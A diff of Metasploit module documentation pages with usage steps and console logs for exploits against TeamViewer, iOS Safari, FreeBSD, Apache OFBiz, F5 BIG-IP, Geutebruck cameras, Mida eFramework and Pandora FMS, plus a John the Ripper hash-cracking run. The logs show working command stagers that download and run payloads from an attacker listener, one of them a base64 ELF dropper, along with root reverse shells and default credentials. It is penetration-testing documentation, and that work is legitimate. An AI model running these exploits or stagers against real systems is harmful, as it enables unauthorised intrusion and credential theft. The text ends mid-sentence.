user@kali:~/metasploit-framework$ sudo cat /tmp/cram
username_cram:<12345@127.0.0.1>#7b0675225a3ac2b9231c2e939986ce42
user@kali:~/metasploit-framework$ sudo cat /tmp/wordlist
password_cram
user@kali:~/metasploit-framework$ sudo john --wordlist=/tmp/wordlist --format=hmac-md5 /tmp/cram
Using default input encoding: UTF-8
Loaded 1 password hash (HMAC-MD5 [password is key, MD5 256/256 AVX2 8x3])
Warning: poor OpenMP scalability for this hash type, consider --fork=8
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 1 candidate left, minimum 192 needed for performance.
password_cram (username_cram)
1g 0:00:00:00 DONE (2020-04-17 11:32) 50.00g/s 50.00p/s 50.00c/s 50.00C/s password_cram
Use the "--show --format=HMAC-MD5" options to display all of the cracked passwords reliably
Session completed
```
@@ -0,0 +1,126 @@
## Vulnerable Application
This module exploits an unquoted parameter call within the
Teamviewer URI handler to create an SMB connection to an attacker
controlled IP.
TeamViewer < 8.0.258861, 9.0.258860, 10.0.258873,
11.0.258870, 12.0.258869, 13.2.36220, 14.2.56676, 14.7.48350, and
15.8.3 are vulnerable.
Only Firefox can be exploited by this
vulnerability, as all other browsers encode the space after 'play'
and before the SMB location, preventing successful exploitation.
Teamviewer 15.4.4445, and 8.0.16642 were successfully tested against.
## Verification Steps
1. Install the application
1. Start msfconsole
1. Do: `use auxiliary/server/teamviewer_uri_smb_redirect`
1. Do: `set SMB_SERVER [IP]`
1. Do: `run`
1. Start an SMB Capture or Relay server (such as responder)
1. Open the URL on the target
1. The SMB Server should receive a connection.
## Options
### FILE_NAME
The SMB file to link to. This is an arbitrary file name. Default is `\\teamviewer\\config.tvs`
### SMB_SERVER
The SMB server IP address.
### URI_HANDLER
The URI Handler to use. Typically the default `teamviewer10`
## Scenarios
### TeamViewer 15.4.4445 on Windows 10 1909 with Firefox 79
```
[*] Processing teamviewer.rb for ERB directives.
resource (teamviewer.rb)> use auxiliary/server/teamviewer_uri_smb_redirect
resource (teamviewer.rb)> set smb_server 2.2.2.2
smb_server => 2.2.2.2
resource (teamviewer.rb)> run -j
[*] Auxiliary module running as background job 0.
[+] Please start an SMB capture/relay on 2.2.2.2
[*] Using URL: http://0.0.0.0:8080/IDGynsGNfXD5eFB
[*] Local IP: http://1.1.1.1:8080/IDGynsGNfXD5eFB
[*] Server started.
```
Start the SMB replay/capture
```
resource (teamviewer.rb)> sudo responder -I wlan0
[*] exec: sudo responder -I wlan0
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
NBT-NS, LLMNR & MDNS Responder 3.0.0.0
Author: Laurent Gaffie (laurent.gaffie@gmail.com)
To kill this script hit CTRL-C
[+] Poisoners:
LLMNR [ON]
NBT-NS [ON]
DNS/MDNS [ON]
[+] Servers:
HTTP server [ON]
HTTPS server [ON]
WPAD proxy [OFF]
Auth proxy [OFF]
SMB server [ON]
Kerberos server [ON]
SQL server [ON]
FTP server [ON]
IMAP server [ON]
POP3 server [ON]
SMTP server [ON]
DNS server [ON]
LDAP server [ON]
RDP server [ON]
[+] HTTP Options:
Always serving EXE [OFF]
Serving EXE [OFF]
Serving HTML [OFF]
Upstream Proxy [OFF]
[+] Poisoning Options:
Analyze Mode [OFF]
Force WPAD auth [OFF]
Force Basic Auth [OFF]
Force LM downgrade [OFF]
Fingerprint hosts [OFF]
[+] Generic Options:
Responder NIC [wlan0]
Responder IP [2.2.2.2]
Challenge set [random]
Don't Respond To Names ['ISATAP']
[!] Error starting TCP server on port 80, check permissions or other servers running.
[+] Listening for events...
[*] Request received for: /IDGynsGNfXD5eFB
[*] Sending TeamViewer Link to Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0...
[SMB] NTLMv2-SSP Client : 3.3.3.3
[SMB] NTLMv2-SSP Username : DESKTOP\h00die
[SMB] NTLMv2-SSP Hash : h00die::DESKTOP:1111111111111111:11111111111111111111111111111111:000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
```
@@ -0,0 +1,66 @@
## Vulnerable Application
This module exploits a JIT optimization bug in Safari Webkit. This allows us to
write shellcode to an RWX memory section in JavaScriptCore and execute it. The
shellcode contains a kernel exploit (CVE-2016-4669) that obtains kernel rw,
obtains root and disables code signing. Finally we download and execute the
meterpreter payload.
This module has been tested against iOS 7.1.2 on an iPhone 4.
## Verification Steps
1. Start msfconsole
1. Do: `use exploit/apple_ios/browser/safari_jit`
1. Do: `set lhost [ip]`
1. Do: `set srvhost [ip]`
1. Do: `run`
1. Browse to the website with a vulnerable device
1. You should get a root shell.
## Options
### DEBUG_EXPLOIT
Show debug information during exploitation. This will add entries to the iPhone syslog related to exploitation and
loading of the payload. Defaults to `false`
## Scenarios
### iPhone 4 with iOS 7.1.2
```
msf5 > use exploit/apple_ios/browser/safari_jit
[*] Using configured payload apple_ios/armle/meterpreter_reverse_tcp
msf5 exploit(apple_ios/browser/safari_jit) > set lhost 1.1.1.1
lhost => 1.1.1.1
msf5 exploit(apple_ios/browser/safari_jit) > set srvhost 1.1.1.1
srvhost => 1.1.1.1
msf5 exploit(apple_ios/browser/safari_jit) > set verbose true
verbose => true
msf5 exploit(apple_ios/browser/safari_jit) > run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
msf5 exploit(apple_ios/browser/safari_jit) >
[*] Started reverse TCP handler on 1.1.1.1:4444
[*] Using URL: http://1.1.1.1:8080/
[*] Server started.
[*] 2.2.2.2 safari_jit - Request / from Mozilla/5.0 (iPhone; CPU iPhone OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D257 Safari/9537.53
[*] 2.2.2.2 safari_jit - Request /loader.b64?cache=1596557302841 from Mozilla/5.0 (iPhone; CPU iPhone OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D257 Safari/9537.53
[*] 2.2.2.2 safari_jit - Request /macho.b64?cache=1596557303179 from Mozilla/5.0 (iPhone; CPU iPhone OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D257 Safari/9537.53
[*] 2.2.2.2 safari_jit - Request /payload from MobileSafari/9537.53 CFNetwork/672.1.15 Darwin/14.0.0
[+] 2.2.2.2 safari_jit - Target is vulnerable, sending payload!
[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:49299) at 2020-08-04 12:08:27 -0400
sessions -i 1
[*] Starting interaction with 1...
meterpreter > getuid
Server username: root @ iPhone (uid=0, gid=0, euid=0, egid=0)
meterpreter > sysinfo
Computer : 2.2.2.2
OS : iPhone3,3 (iOS 11D257)
Architecture : armv7
BuildTuple : arm-iphone-darwin
Meterpreter : armle/apple_ios
```
@@ -0,0 +1,118 @@
## Vulnerable Application
This module exploits a race and use-after-free vulnerability in the
FreeBSD kernel IPv6 socket handling. A missing synchronization lock
in the `IPV6_2292PKTOPTIONS` option handling in `setsockopt` permits
racing `ip6_setpktopt` access to a freed `ip6_pktopts` struct.
This exploit overwrites the `ip6po_pktinfo` pointer of a `ip6_pktopts`
struct in freed memory to achieve arbitrary kernel read/write.
This module has been tested successfully on:
* FreeBSD 9.0-RELEASE #0 (amd64)
* FreeBSD 9.1-RELEASE #0 r243825 (amd64)
* FreeBSD 9.2-RELEASE #0 r255898 (amd64)
* FreeBSD 9.3-RELEASE #0 r268512 (amd64)
* FreeBSD 12.0-RELEASE r341666 (amd64)
* FreeBSD 12.1-RELEASE r354233 (amd64)
## Verification Steps
1. Start `msfconsole`
2. Get a session
3. `use exploit/freebsd/local/ip6_setpktopt_uaf_priv_esc`
4. `set SESSION <SESSION>`
5. `check`
6. `run`
7. You should get a new *root* session
## Options
### NUM_SPRAY
Spray iterations (default (`256`)
### NUM_SPRAY_RACE
Race iterations (default: `32`)
### ForceExploit
Override check result (default: `false`)
### WritableDir
A directory where we can write files (default: `/tmp`)
## Scenarios
### FreeBSD 9.3-RELEASE #0 r268512 (amd64)
```
msf5 > use exploit/freebsd/local/ip6_setpktopt_uaf_priv_esc
[*] Using configured payload bsd/x64/shell_reverse_tcp
msf5 exploit(freebsd/local/ip6_setpktopt_uaf_priv_esc) > set lhost 172.16.191.165
lhost => 172.16.191.165
msf5 exploit(freebsd/local/ip6_setpktopt_uaf_priv_esc) > set session 1
session => 1
msf5 exploit(freebsd/local/ip6_setpktopt_uaf_priv_esc) > run
[!] SESSION may not be compatible with this module.
[*] Started reverse TCP handler on 172.16.191.165:4444
[*] Executing automatic check (disable AutoCheck to override)
[+] The target appears to be vulnerable.
[*] Using target: FreeBSD 9.3-RELEASE #0 r268512 - allproc offset: 0x1295800
[*] Writing '/tmp/.SnZgWBMA.c' (14147 bytes) ...
[*] Compiling /tmp/.SnZgWBMA.c ...
[*] Writing '/tmp/.d97xapNItz' (218 bytes) ...
[*] Launching exploit (timeout: 30s) ...
[*] uid=0(root) gid=0(wheel) egid=1002(asdf) groups=1002(asdf)
[+] Success! Executing payload...
[*] Command shell session 2 opened (172.16.191.165:4444 -> 172.16.191.142:61848) at 2020-07-09 18:02:09 -0400
[+] Deleted /tmp/.SnZgWBMA.c
[+] Deleted /tmp/.SnZgWBMA
[+] Deleted /tmp/.d97xapNItz
id
uid=0(root) gid=0(wheel) egid=1002(asdf) groups=1002(asdf)
uname -a
FreeBSD freebsd-9-3-amd64 9.3-RELEASE FreeBSD 9.3-RELEASE #0 r268512: Thu Jul 10 23:44:39 UTC 2014 root@snap.freebsd.org:/usr/obj/usr/src/sys/GENERIC amd64
```
### FreeBSD 12.1-RELEASE r354233 (amd64)
```
msf5 > use exploit/freebsd/local/ip6_setpktopt_uaf_priv_esc
[*] Using configured payload bsd/x64/shell_reverse_tcp
msf5 exploit(freebsd/local/ip6_setpktopt_uaf_priv_esc) > set lhost 172.16.191.165
lhost => 172.16.191.165
msf5 exploit(freebsd/local/ip6_setpktopt_uaf_priv_esc) > set session 1
session => 1
msf5 exploit(freebsd/local/ip6_setpktopt_uaf_priv_esc) > run
[!] SESSION may not be compatible with this module.
[*] Started reverse TCP handler on 172.16.191.165:4444
[*] Executing automatic check (disable AutoCheck to override)
[+] The target appears to be vulnerable.
[*] Using target: FreeBSD 12.1-RELEASE r354233 - allproc offset: 0x1df7648
[*] Writing '/tmp/.V8vZ5.c' (14162 bytes) ...
[*] Compiling /tmp/.V8vZ5.c ...
[*] Writing '/tmp/.ok9laPn' (218 bytes) ...
[*] Launching exploit (timeout: 30s) ...
[*] uid=0(root) gid=0(wheel) egid=1002(asdf) groups=1002(asdf)
[+] Success! Executing payload...
[*] Command shell session 2 opened (172.16.191.165:4444 -> 172.16.191.140:35808) at 2020-07-09 18:04:24 -0400
[+] Deleted /tmp/.V8vZ5.c
[+] Deleted /tmp/.V8vZ5
[+] Deleted /tmp/.ok9laPn
id
uid=0(root) gid=0(wheel) egid=1002(asdf) groups=1002(asdf)
uname -a
FreeBSD freebsd-12-1-amd64 12.1-RELEASE FreeBSD 12.1-RELEASE r354233 GENERIC amd64
```
@@ -0,0 +1,107 @@
## Vulnerable Application
### Description
This module exploits a Java deserialization vulnerability in Apache
OFBiz's unauthenticated XML-RPC endpoint `/webtools/control/xmlrpc` for
versions prior to 17.12.04.
### Setup
You can use <https://hub.docker.com/r/opensourceknight/ofbiz>.
1. Initialize the database with demo data (`INIT_DB=2`)
* `docker run --rm -e INIT_DB=2 opensourceknight/ofbiz:15.12`
1. Start a postgres instance
* `docker run --name some-postgres -e POSTGRES_PASSWORD=mysecretpassword -d postgres`
1. Link the database and OFBiz containers
* `docker run -d -p 80:8080 -p 8443:8443 --link some-postgres:postgres opensourceknight/ofbiz:15.12`
## Verification Steps
Follow [Setup](#setup) and [Scenarios](#scenarios).
## Targets
### 0
This executes a Unix command.
### 1
This uses a Linux dropper to execute code.
## Scenarios
### Apache OFBiz from [Docker](#setup).
```
msf6 > use exploit/linux/http/apache_ofbiz_deserialiation
[*] Using configured payload linux/x64/meterpreter_reverse_https
msf6 exploit(linux/http/apache_ofbiz_deserialiation) > options
Module options (exploit/linux/http/apache_ofbiz_deserialiation):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 8443 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes Base path
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload options (linux/x64/meterpreter_reverse_https):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The local listener hostname
LPORT 8443 yes The local listener port
LURI no The HTTP Path
Exploit target:
Id Name
-- ----
1 Linux Dropper
msf6 exploit(linux/http/apache_ofbiz_deserialiation) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf6 exploit(linux/http/apache_ofbiz_deserialiation) > set lhost 192.168.1.7
lhost => 192.168.1.7
msf6 exploit(linux/http/apache_ofbiz_deserialiation) > set srvport 8888
srvport => 8888
msf6 exploit(linux/http/apache_ofbiz_deserialiation) > run
[*] Started HTTPS reverse handler on https://192.168.1.7:8443
[*] Executing automatic check (disable AutoCheck to override)
[+] The target is vulnerable. Target can deserialize arbitrary data.
[*] Executing Linux Dropper for linux/x64/meterpreter_reverse_https
[*] Using URL: http://0.0.0.0:8888/AGB4cD
[*] Local IP: http://10.3.227.250:8888/AGB4cD
[*] Generated command stager: ["curl${IFS}-so${IFS}/tmp/fNZHtLgv${IFS}http://192.168.1.7:8888/AGB4cD;chmod${IFS}+x${IFS}/tmp/fNZHtLgv;/tmp/fNZHtLgv;rm${IFS}-f${IFS}/tmp/fNZHtLgv"]
[*] Executing command: sh -c curl${IFS}-so${IFS}/tmp/fNZHtLgv${IFS}http://192.168.1.7:8888/AGB4cD;chmod${IFS}+x${IFS}/tmp/fNZHtLgv;/tmp/fNZHtLgv;rm${IFS}-f${IFS}/tmp/fNZHtLgv
[*] Client 192.168.1.7 (curl/7.38.0) requested /AGB4cD
[*] Sending payload to 192.168.1.7 (curl/7.38.0)
[+] Successfully executed command: sh -c curl${IFS}-so${IFS}/tmp/fNZHtLgv${IFS}http://192.168.1.7:8888/AGB4cD;chmod${IFS}+x${IFS}/tmp/fNZHtLgv;/tmp/fNZHtLgv;rm${IFS}-f${IFS}/tmp/fNZHtLgv
[*] https://192.168.1.7:8443 handling request from 192.168.1.7; (UUID: btpun2w7) Redirecting stageless connection from /1fY1FTBqS3Z81nrUI-E3VQ3E-Kqn5Kx4lP2cAzF4bmUgveaMUNylCEh1ohulKhz1fERPwYd8u4DAauCLZ8UDm5JaB7P with UA 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko'
[*] https://192.168.1.7:8443 handling request from 192.168.1.7; (UUID: btpun2w7) Attaching orphaned/stageless session...
[*] Command Stager progress - 104.14% done (151/145 bytes)
[*] Meterpreter session 1 opened (192.168.1.7:8443 -> 192.168.1.7:61375) at 2020-08-14 21:42:11 -0500
[*] Server stopped.
meterpreter > getuid
Server username: root @ 09d1564c6b2c (uid=0, gid=0, euid=0, egid=0)
meterpreter > sysinfo
Computer : 172.17.0.2
OS : Debian 8.4 (Linux 4.19.76-linuxkit)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
```
@@ -0,0 +1,128 @@
## Vulnerable Application
### Description
This module exploits a directory traversal in F5's BIG-IP Traffic
Management User Interface (TMUI) to upload a shell script and execute
it as the Unix root user.
Unix shell access is obtained by escaping the restricted Traffic
Management Shell (TMSH). The escape may not be reliable, and you may
have to run the exploit multiple times. Sorry!
Versions 11.6.1-11.6.5, 12.1.0-12.1.5, 13.1.0-13.1.3, 14.1.0-14.1.2,
15.0.0, and 15.1.0 are known to be vulnerable. Fixes were introduced
in 11.6.5.2, 12.1.5.2, 13.1.3.4, 14.1.2.6, and 15.1.0.4.
Tested against the VMware OVA release of 14.1.2.
### Setup
Download
[BIGIP-14.1.2-0.0.37.ALL-scsi.ova](https://downloads.f5.com/esd/serveDownload.jsp?path=/big-ip/big-ip_v14.x/14.1.2/english/virtual-edition/&sw=BIG-IP&pro=big-ip_v14.x&ver=14.1.2&container=Virtual-Edition&file=BIGIP-14.1.2-0.0.37.ALL-scsi.ova)
and import it into your desired virtualization software.
You _may_ need to log in to the management interface as the `admin` user
to complete system initialization and make the target exploitable. The
default password for the `admin` user is `admin`.
## Verification Steps
Follow [Setup](#setup) and [Scenarios](#scenarios).
## Targets
### 0
This executes a Unix command.
### 1
This uses a Linux dropper to execute code.
## Options
### WritableDir
Set this to a writable directory in which files will be dropped.
Defaults to `/tmp`.
## Scenarios
### F5 BIG-IP 14.1.2 in VMware Fusion
```
msf5 > use exploit/linux/http/f5_bigip_tmui_rce
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf5 exploit(linux/http/f5_bigip_tmui_rce) > options
Module options (exploit/linux/http/f5_bigip_tmui_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 443 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL true no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes Base path
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload options (linux/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
1 Linux Dropper
msf5 exploit(linux/http/f5_bigip_tmui_rce) > set rhosts 172.16.249.179
rhosts => 172.16.249.179
msf5 exploit(linux/http/f5_bigip_tmui_rce) > set lhost 172.16.249.1
lhost => 172.16.249.1
msf5 exploit(linux/http/f5_bigip_tmui_rce) > run
[*] Started reverse TCP handler on 172.16.249.1:4444
[*] Executing automatic check (disable AutoCheck to override)
[+] The target is vulnerable. Target is running BIG-IP 14.1.2.
[*] Creating alias list=bash
[-] Alias "list" already exists, deleting it
[*] Deleting alias list=bash
[+] Successfully deleted alias list=bash
[*] Creating alias list=bash
[+] Successfully created alias list=bash
[*] Executing Linux Dropper for linux/x64/meterpreter/reverse_tcp
[*] Generated command stager: ["echo -n f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA+gAAAAAAAAB8AQAAAAAAAAAQAAAAAAAASDH/aglYmbYQSInWTTHJaiJBWrIHDwVIhcB4UWoKQVlQailYmWoCX2oBXg8FSIXAeDtIl0i5AgARXKwQ+QFRSInmahBaaipYDwVZSIXAeSVJ/8l0GFdqI1hqAGoFSInnSDH2DwVZWV9IhcB5x2o8WGoBXw8FXmp+Wg8FSIXAeO3/5g==>>'/tmp/wCkkU.b64' ; ((which base64 >&2 && base64 -d -) || (which base64 >&2 && base64 --decode -) || (which openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || (which python >&2 && python -c 'import sys, base64; print base64.standard_b64decode(sys.stdin.read());') || (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)')) 2> /dev/null > '/tmp/whuIi' < '/tmp/wCkkU.b64' ; chmod +x '/tmp/whuIi' ; '/tmp/whuIi' ; rm -f '/tmp/whuIi' ; rm -f '/tmp/wCkkU.b64'"]
[*] Executing command: echo -n f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA+gAAAAAAAAB8AQAAAAAAAAAQAAAAAAAASDH/aglYmbYQSInWTTHJaiJBWrIHDwVIhcB4UWoKQVlQailYmWoCX2oBXg8FSIXAeDtIl0i5AgARXKwQ+QFRSInmahBaaipYDwVZSIXAeSVJ/8l0GFdqI1hqAGoFSInnSDH2DwVZWV9IhcB5x2o8WGoBXw8FXmp+Wg8FSIXAeO3/5g==>>'/tmp/wCkkU.b64' ; ((which base64 >&2 && base64 -d -) || (which base64 >&2 && base64 --decode -) || (which openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || (which python >&2 && python -c 'import sys, base64; print base64.standard_b64decode(sys.stdin.read());') || (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)')) 2> /dev/null > '/tmp/whuIi' < '/tmp/wCkkU.b64' ; chmod +x '/tmp/whuIi' ; '/tmp/whuIi' ; rm -f '/tmp/whuIi' ; rm -f '/tmp/wCkkU.b64'
[*] Uploading /tmp/WuyGIfbP
[+] Successfully uploaded /tmp/WuyGIfbP
[*] Executing /tmp/WuyGIfbP
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3012516 bytes) to 172.16.249.179
[*] Meterpreter session 1 opened (172.16.249.1:4444 -> 172.16.249.179:55118) at 2020-07-17 06:06:38 -0500
[+] Deleted /tmp/WuyGIfbP
[*] Command Stager progress - 100.00% done (823/823 bytes)
[*] Deleting alias list=bash
[+] Successfully deleted alias list=bash
meterpreter > getuid
Server username: no-user @ localhost.localdomain (uid=0, gid=0, euid=0, egid=0)
meterpreter > sysinfo
Computer : localhost.localdomain
OS : CentOS 7.3.1611 (Linux 3.10.0-514.26.2.el7.ve.x86_64)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
```
@@ -0,0 +1,90 @@
## Vulnerable Application
The following [Geutebruck](https://www.geutebrueck.com) products using firmware versions <= 1.12.0.25,
firmware version 1.12.13.2 or firmware version 1.12.14.5:
* Encoder and E2 Series Camera models:
* G-Code:
* EEC-2xxx
* G-Cam:
* EBC-21xx
* EFD-22xx
* ETHC-22xx
* EWPC-22xx
Many brands use the same firmware:
* UDP Technology (which is also the supplier of the firmware for the other vendors)
* Ganz
* Visualint
* Cap
* THRIVE Intelligence
* Sophus
* VCA
* TripCorps
* Sprinx Technologies
* Smartec
* Riva
This module has been tested on a Geutebruck 5.02024 G-Cam EFD-2250 running firmware version 1.12.14.5.
### Description
This module exploits an authenticated OS command injection vulnerability (CVE-2020-16205) within the
`server` GET parameter of /uapi-cgi/admin/testaction.cgi when the `type` parameter is set to `ntp`.
This issue occurs due to a lack of validation on the `server` parameter, which allows an attacker to
inject a new line character, followed by the command they wish to execute, at which point the server will
then interpret the new string as a separate command to be executed. Successful exploitation will result in
remote code execution as the `root` user.
Users can find additional details of this vulnerability on the advisory page at https://us-cert.cisa.gov/ics/advisories/icsa-20-219-03.
## Verification Steps
1. Start the camera using default configuration
2. Launch msfconsole
3. Do: `use exploit/linux/http/geutebruck_testaction_exec`
4. Do: `set httpusername <camera_username>`
5. Do: `set httppassword <camera_password>`
6. Do: `set lhost <metasploit_ip>`
5. Do: `set rhosts <camera_ip>`
6. Do: `set payload cmd/unix/reverse_netcat_gaping`
7. Do: `check` to be sure the target is vulnerable
8. Do: `exploit`
9. You should get a shell
## Options
The default credentials to log on the web interface are root/admin.
### HTTPUSERNAME
A username used to authenticate on the admin page. **Default: root**
### HTTPPASSWORD
The password of the username used to authenticate on the admin page. **Default: admin**
## Scenarios
### Geutebruck 5.02024 G-Cam EFD-2250 running firmware version 1.12.14.5.
```
msf5 > use exploit/linux/http/geutebruck_testaction_exec
msf5 exploit(linux/http/geutebruck_testaction_exec) > set payload cmd/unix/reverse_netcat_gaping
payload => cmd/unix/reverse_netcat_gaping
msf5 exploit(linux/http/geutebruck_testaction_exec) > set httpusername root
httpusername => root
msf5 exploit(linux/http/geutebruck_testaction_exec) > set httppassword admin
httppassword => admin
msf5 exploit(linux/http/geutebruck_testaction_exec) > set lhost 192.168.14.1
lhost => 192.168.14.1
msf5 exploit(linux/http/geutebruck_testaction_exec) > set rhosts 192.168.14.58
rhosts => 192.168.14.58
msf5 exploit(linux/http/geutebruck_testaction_exec) > exploit
[*] Started reverse TCP handler on 192.168.14.1:4444
[*] 192.168.14.58:80 - Attempting to exploit...
[*] Command shell session 3 opened (192.168.14.1:4444 -> 192.168.14.58:43392) at 2020-04-02 18:26:28 +0200
pwd
/tmp/www_ramdisk/uapi-cgi/admin
id
uid=0(root) gid=0(root)
uname -a
Linux EFD-2250 2.6.18_IPNX_PRODUCT_1.1.2-ge52275bd #1 PREEMPT Thu Jul 25 20:25:39 KST 2019 armv5tejl GNU/Linux
```
@@ -3,7 +3,8 @@
IBM Data Risk Manager (IDRM) contains three vulnerabilities that can be chained by an unauthenticated attacker to achieve remote code execution as root.
The first is an unauthenticated bypass, followed by a command injection as the server user, and finally abuse of an insecure default password.
This module exploits all three vulnerabilities, giving the attacker a root shell.
At the time of disclosure, this is a 0day. Versions 2.0.3 and below are confirmed to be affected, and the latest 2.0.6 is most likely affected too.
At the time of disclosure this was an 0day, but it was later confirmed and patched by IBM. The authentication bypass works on versions <= 2.0.6.1,
but the command injection should only work on versions <= 2.0.4 according to IBM.
### Vulnerability information
@@ -0,0 +1,64 @@
## Vulnerable Application
This module exploits a command injection vulnerability in
[Mida Solutions eFramework](https://www.midasolutions.com/)
version 2.9.0 and prior.
The `ajaxreq.php` file allows unauthenticated users to inject
arbitrary commands in the `PARAM` parameter to be executed as
the apache user. The sudo configuration permits the apache user
to execute any command as root without providing a password,
resulting in privileged command execution as root.
This module has been successfully tested on Mida Solutions
eFramework-C7-2.9.0 virtual appliance.
Download:
http://ova-efw.midasolutions.com/
## Verification Steps
1. Start msfconsole
1. Do: `use exploit/linux/http/mida_solutions_eframework_ajaxreq_rce`
1. Do: `set RHOSTS [IP]`
1. Do: `set payload [payload]`
1. Do: `set LHOST [IP]`
1. Do: `exploit`
## Options
### TARGETURI
Base path to eFramework (Default: `/`)
## Scenarios
```
msf6 > use exploit/linux/http/mida_solutions_eframework_ajaxreq_rce
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/http/mida_solutions_eframework_ajaxreq_rce) > set rhosts 172.16.191.123
rhosts => 172.16.191.123
msf6 exploit(linux/http/mida_solutions_eframework_ajaxreq_rce) > check
[+] 172.16.191.123:443 - The target is vulnerable.
msf6 exploit(linux/http/mida_solutions_eframework_ajaxreq_rce) > set lhost 172.16.191.165
lhost => 172.16.191.165
msf6 exploit(linux/http/mida_solutions_eframework_ajaxreq_rce) > run
[*] Started reverse TCP handler on 172.16.191.165:4444
[*] Executing automatic check (disable AutoCheck to override)
[+] The target is vulnerable.
[*] Sending stage (3008420 bytes) to 172.16.191.123
[*] Meterpreter session 1 opened (172.16.191.165:4444 -> 172.16.191.123:42452) at 2020-08-30 08:42:27 -0400
[*] Command Stager progress - 100.00% done (897/897 bytes)
meterpreter > getuid
Server username: root @ eFramework-1 (uid=0, gid=0, euid=0, egid=0)
meterpreter > sysinfo
Computer : 172.16.191.123
OS : CentOS 7.6.1810 (Linux 3.10.0-957.10.1.el7.x86_64)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
```
@@ -121,6 +121,8 @@ Exploit target:
msf5 exploit(linux/http/nexus_repo_manager_el_injection) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf5 exploit(linux/http/nexus_repo_manager_el_injection) > set password admin
password => admin
msf5 exploit(linux/http/nexus_repo_manager_el_injection) > set lhost 192.168.1.3
lhost => 192.168.1.3
msf5 exploit(linux/http/nexus_repo_manager_el_injection) > run
@@ -0,0 +1,115 @@
## Vulnerable Application
This module exploits a vulnerability (CVE-2020-13851) in Pandora FMS versions 7.0 NG 742, 7.0 NG 743, and 7.0 NG 744
(and perhaps older versions) in order to execute arbitrary commands.
The module first connects to the target's `index.php` page in order to verify the version number, which should be displayed here.
If the version indicates the target is likely vulnerable, the module will try to authenticate using the credentials provided by the user.
If no custom credentials are provided, the module will use the default Pandora FMS credentials, which are `admin:pandora`.
After authenticating, the module attempts to exploit CVE-2020-13851, which is a command injection vulnerability
in the `Events` feature of Pandora FMS. Specifically, this flaw allows users to execute arbitrary commands via
the `target` parameter in HTTP POST requests to the `Events` function.
In order to obtain remote code execution, the module will attempt to issue a malicious HTTP POST request to the `Events` function,
with the `target` parameter set to contain the payload.
If a shell is obtained, the module will try to obtain the local MySQL database password via a simple `grep` command on the plaintext
`/var/www/html/pandora_console/include/config.php` file.
The default MySQL administrative user is `root` and the default password for the official CentOS virtual appliance ISO is `pandora`.
For the official Docker container, the default MySQL password is `avwwoyqk`. This password can subsequently be used
in order to query the database and to escalate the privilege of any Pandora FMS account to an administrator.
Valid credentials for a Pandora FMS account are required for the module to work. The account does not need to have admin privileges.
This module has been successfully tested on Pandora 7.0 NG 744 running on CentOS 7 (the official virtual appliance ISO for this version).
Vulnerable software for testing can be download here: https://sourceforge.net/projects/pandora/.
The easiest ways to install Pandora FMS are as a Docker image or as an ISO. Detailed instructions are available here:
